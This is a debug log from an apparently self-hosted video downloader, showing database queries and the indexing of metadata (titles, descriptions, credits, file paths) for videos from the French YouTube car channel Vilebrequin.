07:43:15.546 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=243.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:15.548 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=42.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:15.549 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=41.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 07:43:15.550 [debug] Current batch of media processed. Will check again in 1000ms 07:43:16.551 [debug] Current batch of media processed. Will check again in 1000ms 07:43:17.555 [debug] Current batch of media processed. Will check again in 1000ms 07:43:18.556 [debug] Current batch of media processed. Will check again in 1000ms 07:43:19.557 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "duration" => 1865, "filename" => "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", "id" => "YmAToqpmkv8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=YmAToqpmkv8", "playlist_index" => 16, "timestamp" => 1689869701, "title" => "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "upload_date" => "20230720"} 07:43:19.559 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1043.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:19.561 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=468.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:19.566 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=259.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 16:15:01Z], 1] 07:43:19.650 [debug] QUERY OK source="media_items" db=81.9ms queue=0.1ms idle=265.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "5c369019-6621-47e9-bb49-636a4664853c", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", 16, "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, false, false, 1, [], 98, ~U[2023-07-20 16:15:01Z], ~U[2026-04-20 05:43:19Z], ~U[2026-04-20 05:43:19Z], "Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, 1, ~U[2023-07-20 16:15:01Z]] 07:43:19.652 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=348.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:19.653 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=93.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:19.655 [debug] QUERY OK source="media_items" db=0.8ms idle=93.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 07:43:19.655 [debug] Current batch of media processed. Will check again in 1000ms 07:43:20.656 [debug] Current batch of media processed. Will check again in 1000ms 07:43:21.657 [debug] Current batch of media processed. Will check again in 1000ms 07:43:22.669 [debug] Current batch of media processed. Will check again in 1000ms 07:43:23.670 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "duration" => 1558, "filename" => "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", "id" => "8IfCOzSIvKE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8IfCOzSIvKE", "playlist_index" => 17, "timestamp" => 1689264900, "title" => "Essai Porsche Boxster S : La Porsche du pauvre ?", "upload_date" => "20230713"} 07:43:23.673 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=368.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:23.675 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=370.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:23.682 [debug] QUERY OK source="media_items" db=5.6ms queue=0.1ms idle=372.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 16:15:00Z], 1] 07:43:23.727 [debug] QUERY OK source="media_items" db=43.4ms queue=0.1ms idle=379.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "239bf7ef-e0bf-416f-b0ae-ba48a163e6eb", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", 17, "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, false, false, 1, [], 98, ~U[2023-07-13 16:15:00Z], ~U[2026-04-20 05:43:23Z], ~U[2026-04-20 05:43:23Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, 1, ~U[2023-07-13 16:15:00Z]] 07:43:23.728 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=210.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:23.730 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=55.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:23.731 [debug] QUERY OK source="media_items" db=1.0ms idle=54.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 07:43:23.733 [debug] Current batch of media processed. Will check again in 1000ms 07:43:24.734 [debug] Current batch of media processed. Will check again in 1000ms 07:43:25.735 [debug] Current batch of media processed. Will check again in 1000ms 07:43:26.737 [debug] Current batch of media processed. Will check again in 1000ms 07:43:27.739 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "duration" => 1557, "filename" => "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", "id" => "oN772QacXLs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oN772QacXLs", "playlist_index" => 18, "timestamp" => 1688660102, "title" => "On atteint la V-MAX du 1000tipla sur les Hunaudières", "upload_date" => "20230706"} 07:43:27.741 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=618.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:27.743 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=438.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 